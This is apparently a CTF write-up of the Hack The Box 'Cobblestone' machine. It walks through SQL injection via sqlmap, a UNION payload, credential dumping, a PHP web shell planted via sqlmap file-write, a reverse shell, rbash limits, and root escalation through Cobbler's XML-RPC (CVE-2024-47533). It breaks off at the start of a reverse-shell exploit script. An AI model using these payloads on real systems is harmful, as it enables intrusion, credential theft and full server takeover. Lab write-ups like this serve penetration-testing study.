As we see in vote.cobblestone.htb it was redirecting to http://vote.cobblestone.htb/login.php soe we have login page in that we have register ! Lets register with some fake credits
After login on when you check vote.cobblestone.htb have some webpage having some voting
now lets go home page on cobblestone.htb lets click on those images for to confirm again.
when click on the second image it was still showing login page
lets try with registered credits
it saying User was not found lets try to register by clicking beside of login
we go register success
lets login
after login we it was redirecting to cobblestone.htb/skins.php
Testing
Lets go to first url http://vote.cobblestone.htb/index.php there we see the beside of the vote we have suggest lets see there what it was
Ok ! Here we need to add some URL
lets try with our site pwncrafts.vercel.app
Ok ! Our status is false also assing some id on url http://vote.cobblestone.htb/details.php?id=12
The voting system is merely an illusion, yet it enables server communication through a URL parameter for
lets see on brup by adding the url
ok ! we have the reuqest now lets try to add another url like pwncrafts.google.com for to confirm the id was assing to each URL we added. and observe on brup
url added
Whether it’s approved or not doesn’t matter what counts is that we’ve set up a basic request–response link. The id parameter starts at 4 and increases sequentially:
brup confirm That id= is parameter.
NOTE
when we obsrve the unapproved url was deleting after some time so i just add the old url and it assigned teh new id as 4. also on textbox Suggestion #4 you see #4 is changing as of its id
A textbook IDOR emerges so An exploitable attack vector revealed.
WEB
SQLi
Entry Discovery
Inserting a lone a' into the suggestion POST request on repeter plunges us into an unforeseen error condition:
No response only a malfunctioning page.
Change to a'-- - and the server partially shows its cards: the HTML comes back, but the data payload is completely gone:
A subtle yet hopeful indication—potential grounds for SQL injection.
Sqlmap
Capture the suggest request for offline work:
save it as any name but in .req
Without any rate limiting present, we can send payloads without restriction. Crank up the flags and launch:
Terminal window
1
sqlmap-rmysuggest.req-purl\
2
--dbs\
3
--risk=3--level=5\
4
--batch
SQLi confirmed:
Post Injection
sqlmap has already fingerprinted:
NOTE
“I found a UNION-based SQL injection on parameter url using 5 columns, and here’s the exact payload I used to prove it.”
Terminal window
1
Parameter:url (POST)
2
Type:UNIONquery
3
Title:GenericUNIONquery (NULL) - 5 columns
4
Payload:url=-4680' UNION ALL SELECT NULL,CONCAT(0x7162786b71,0x73434e574973764e4a5842735261776b5858636569534f5666686d72715a517571706d4761637166,0x716a7a7071),NULL,NULL,NULL-- -
Minimal Proof-of-Concept:
Terminal window
1
url=' UNION ALL SELECT NULL,'Axura',NULL,NULL,NULL-- -
At this point, sqlmap can transition to pulling data or accessing the filesystem.
Enumeration
List of databases:
Terminal window
1
$sqlmap-rmysuggest.req-purl\
2
--dbs\
3
--batch
4
5
availabledatabases [2]:
6
[*] information_schema
7
[*] vote
we have table vote
Terminal window
1
$sqlmap-rmysuggest.req-purl\
2
-Dvote--tables\
3
--batch
4
5
Database:vote
6
[2 tables]
7
+-------+
8
|users|
9
|votes|
10
+-------+
we have users:
lets see what columnts present in that users
Terminal window
1
$sqlmap-rmysuggest.req-purl\
2
-Dvote-Tusers--columns
3
4
[02:08:43] [INFO] retrieved: id
5
[02:08:48] [INFO] retrieved: username
6
[02:09:01] [INFO] retrieved: firstname
7
[02:09:13] [INFO] retrieved: email
8
[02:13:00] [INFO] retrieved: lastname
9
[02:13:47] [INFO] retrieved: password
ok we have username & password ! Lets Dump credentials:
After verifying a UNION-based injection, we can determine if a file exists on the target machine using MySQL’s LOAD_FILE() function—sqlmap conveniently offers built-in options (--file-read, --file-write) for this purpose.
After confirming the file is in the webroot, execute it to gain a reverse shell—complete control secured.
Should this be unintended for an insane-level machine?
RCE
Web Shell
Armed with a file write primitive, our goal changes—drop a payload in a spot Apache will gladly serve and run. A minimal PHP web shell becomes our weapon of choice.
The server signature indicates Debian with Apache 2.4.62 in operation:
Step one—retrieve Apache’s site configuration to chart the landscape:
Test the minimal PHP command executor via http://cobblestone.htb/.index.php?x=id:
Reverse Shell
Nevertheless, the /var/www/html directory appears to be secured. We confirmed curl is available in the PATH (using which curl), but it cannot connect to our attacker IP—outbound internet access is blocked.
After further testing, I discovered that the /var/www/vote path is unrestricted, allowing us to upload a small malicious shell (with PHP file size also limited) onto the target:
Terminal window
1
sqlmap-rmysuggest.req-purl--batch\
2
--file-write="shell.php"\
3
--file-dest="/var/www/vote/.index.php"
Through http://vote.cobblestone.htb/.index.php, trigger a reverse shell where Python is verified to be installed:
After gaining the web foothold, the next step is traditional post-exploitation—extract every valuable configuration file.
Database Compromise
Using the earlier web shell at /var/www/html (prior to obtaining a reverse shell), I ran a recursive directory listing (ls -R) to map the entire web root directory: /var/www/html
1
/var/www/html
2
├── composer.json
3
├── composer.lock
4
├── index.php
5
├── login.php
6
├── login_verify.php
7
├── logout.php
8
├── register.php
9
├── upload.php
10
├── suggest_skin.php
11
├── skins.php
12
├── skins_app_admin_server_info.php
13
├── download.php
14
├── preview_banner.php
15
├── user.php
16
├── db/
17
│ └── connection.php
18
├── css/
19
│ ├── all.min.css
20
│ ├── bootstrap.min.css
21
│ └── stylesheet.css
22
├── js/
23
│ ├── bootstrap.bundle.min.js
24
│ ├── firefly.js
25
│ ├── jquery.min.js
26
│ └── main.js
27
├── img/
28
│ ├── forums.png
29
│ ├── logo.png
30
│ ├── minecraft.jpg
31
│ ├── store.png
32
│ └── vote.png
33
├── skins/
34
│ ├── dog1234.png
35
│ ├── eldeathly.png
36
│ ├── niftysmith.png
37
│ ├── paulgg.png
38
│ ├── sword4000.png
39
│ └── preview_*.png
40
├── templates/ # Twig views
41
│ ├── downloads.html.twig
42
│ ├── footer.html.twig
43
│ ├── header.html.twig
44
│ ├── suggest.html.twig
45
│ ├── suggestform.html.twig
46
│ ├── upload.html.twig
47
│ └── user.html.twig
48
├── vendor/
49
│ ├── autoload.php
50
│ ├── composer/ # Composer autoload metadata
51
│ ├── symfony/ # polyfills, contracts
52
│ └── twig/twig/ # Twig engine
53
└── webfonts/
54
├── fa-*.ttf
55
└── fa-*.woff2
The dubious db folder holds a config file revealing the credentials for the cobblestone database:
The session opens within a restricted bash (rbash) environment, yet the user flag is readily available.
ROOT
Rbash
Rbash, or restricted bash, is basically a limited version of bash. No changing directories with cd, no altering the PATH variable, and no running binaries via absolute paths unless they’re included in $PATH. Redirecting output? Not possible. Trying set +r? Won’t work.
That’s why our initial web shell is confined to /var/www/html. However, we’ve just discovered that /var/www/vote is an allowed exception.
Our collection of permitted binaries is minimal:
Terminal window
1
cobble@cobblestone:~$ls/bin-l
2
total1964
3
-rwxr-xr-x1rootroot44016Oct12024cat
4
-rwxr-xr-x1rootroot203152Oct12024grep
5
-rwxr-xr-x1rootroot151344Oct12024ls
6
-rwxr-xr-x1rootroot146360Oct12024ps
7
-rwxr-xr-x1rootroot1265648Oct12024rbash
8
-rwxr-xr-x1rootroot193680Oct12024ss
However, ps and ss provide sufficient tools to begin probing the system’s vital processes.
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
3
LISTEN05127.0.0.1:251510.0.0.0:*
4
LISTEN05110.0.0.0:800.0.0.0:*
5
LISTEN01280.0.0.0:220.0.0.0:*
6
LISTEN080127.0.0.1:33060.0.0.0:*
7
LISTEN0128 [::]:22 [::]:*
8
9
cobble@cobblestone:~$ ss -lnup
10
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
11
UNCONN000.0.0.0:680.0.0.0:*
12
UNCONN000.0.0.0:690.0.0.0:*
13
UNCONN00 [::]:69 [::]:*
Observations:
The process /usr/local/bin/cobblerd -F is running as root and listening exclusively on 127.0.0.1:25151. Apache, PHP-FPM, and MariaDB are all active, with MariaDB bound to localhost. A TFTP server is running on UDP port 69 at /srv/tftp.
This setup represents a typical Cobbler stack—allowing exploitation of Cobbler’s XML-RPC interface from localhost to read arbitrary files with root privileges.
A provisioning daemon operating as root and exposing a local API effectively functions as an on-demand privilege escalation vector.
Cobbler
Understanding Cobbler’s operation might call for basic familiarity with Linux kernel internals. However, an in-depth exploration—such as the kernel boot process involving initrd (previously initramfs) or filesystem management—is outside this write-up’s scope. Moreover, such detail isn’t required to exploit this challenge. For comprehensive insights, refer to the official Linux Kernel documentation.
Fundamental Concepts
Cobbler
TIP
Cobbler is a Linux provisioning and PXE (Preboot Execution Environment) server designed to automate OS installations. It manages three primary object types:
Distro: Metadata for an OS build, primarily including paths to the kernel and initrd files on the Cobbler host (e.g., /boot/vmlinuz-6.1.0-37-amd64, /boot/initrd.img-6.1.0-37-amd64).
Profile: An installation blueprint that references one distro and includes configuration details such as kickstart templates.
System: A specific machine configuration pointing to a profile, with host-specific adjustments like MAC/IP addresses and templated files.
The Cobbler daemon (cobblerd) operates as root and exposes a management API bound to 127.0.0.1:25151.
Provisioning
Provisioning is the process of setting up systems or users with the necessary resources and services. This includes creating, modifying, or deleting user accounts and profiles, managing permissions, and configuring IT infrastructure. It ensures users have appropriate access to perform their roles efficiently.
TFTP
TFTP (Trivial File Transfer Protocol, UDP port 69) facilitates PXE boot by delivering bootloaders, kernels, and initrd images to clients.
From the process list:
Terminal window
1
in.tftpd --secure /srv/tftp
This indicates the server delivers files from /srv/tftp. The --secure flag restricts access to that directory, enforcing read-only permissions—a vital part of PXE booting but not directly exploitable for privilege escalation here unless the directory is writable.
XML-RPC
Cobbler acts as an orchestrator for PXE and OS provisioning. It maintains an internal representation of expected resources—distros, profiles, and systems—and materializes these into files and directories served via TFTP/HTTP. The XML-RPC API serves as a remote interface to this model, accessible locally at 127.0.0.1:25151, used by both the Cobbler CLI and web interface.
Through this API, an authenticated user can create, modify, and save distros, profiles, and systems, then trigger a sync operation.
Sync
The sync function is Cobbler’s “deploy changes” command. When invoked via srv.sync(token):
Cobbler reads its internal database/state for all distros, profiles, and systems.
It validates that referenced kernel/initrd paths exist on disk.
It generates or updates files within managed directories, typically:
TFTP tree (e.g., /srv/tftp)
Web tree (e.g., /srv/www/cobbler or /var/www/cobbler)
Internal template/cache directories under /var/lib/cobbler/…
It processes per-system template_files, copying or rendering them into system-specific areas for serving or querying.
Since cobblerd runs with root privileges, all file operations happen with full system rights—this is a critical factor.
Notably, a System object’s template_files can be defined as:
Terminal window
1
{"<source_path_on_host>":"<virtual_dest_path>"}
<source_path_on_host> can be any path on the Cobbler server (e.g., /etc/shadow).
<virtual_dest_path> is a logical identifier (e.g., /leak) that Cobbler uses as a reference.
When sync runs, Cobbler opens the source file as root, reads its contents, and stores it in the system’s template repository under the virtual destination.
Later, the XML-RPC method
CVE-2024-47533
EXP
lets ask chatgpt to write exploit script:
1
import xmlrpc.client
2
import uuid
3
4
TARGET="http://127.0.0.1:25151"
5
LHOST, LPORT="10.10.xx.xx", "4444"
6
7
# Expression-only Cheetah payload that won't break parsing: